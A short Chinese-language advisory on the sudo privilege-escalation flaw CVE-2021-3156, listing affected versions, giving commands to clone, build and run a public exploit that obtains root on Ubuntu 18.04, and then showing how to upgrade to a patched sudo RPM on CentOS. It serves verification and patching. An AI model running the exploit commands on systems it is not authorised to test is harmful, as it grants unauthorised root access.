CVE-2021-3156 Sudo 漏洞验证及修复方法

一、漏洞介绍

2021年01月27日,RedHat官方发布了sudo 缓冲区/栈溢出漏洞的风险通告,普通用户可以通过利用此漏洞,而无需进行身份验证,成功获取root权限。
漏洞编号:CVE-2021-3156
漏洞级别:高危 
漏洞影响版本:
Sudo 1.8.2 – 1.8.31p2
Sudo 1.9.0 – 1.9.5p1
不受影响版本:sudo =>1.9.5p2

二、 漏洞验证

环境:Ubuntu 18.04
$ git clone https://github.com/blasty/CVE-2021-3156.git
$ cd CVE-2021-3156
$ make
$ ./sudo-hax-me-a-sandwich
$ ./sudo-hax-me-a-sandwich 0
备注:Centos exp暂无。

三、漏洞修复

centos 6 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo-1.9.5-3.el6.x86_64.rpm 
centos 7 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo-1.9.5-3.el7.x86_64.rpm
[root@ucloud ~]# rpm -Uvh sudo-1.9.5-3.el7.x86_64.rpm
Preparing... ################################# [100%]
Updating / installing...
1:sudo-1.9.5-3.el7 warning: /etc/sudoers created as /etc/sudoers.rpmnew
################################# [ 50%]
Cleaning up / removing...
2:sudo-1.8.23-10.el7_9.1 ################################# [100%]

 查看版本:

[root@ucloud ~]# sudo -V
Sudo version 1.9.5p2